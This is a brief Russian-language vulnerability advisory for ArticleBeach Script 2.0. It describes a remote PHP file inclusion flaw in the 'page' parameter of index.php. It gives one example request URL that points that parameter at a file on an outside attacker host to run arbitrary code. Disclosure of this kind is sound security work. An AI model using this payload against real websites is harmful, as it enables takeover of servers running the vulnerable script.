Программа: ArticleBeach Script 2.0

Уязвимость позволяет удаленному пользователю выполнить произвольный PHP сценарий на целевой системе. Уязвимость существует из-за недостаточной обработки входных данных в параметре "page" сценарием index.php. Удаленный пользователь может выполнить произвольный PHP сценарий на целевой системе с привилегиями Web сервера.

Пример:

http://target.com/[articlebeach_path]/index.php? page=http://attact.com/colok.txt?

Оставить мнение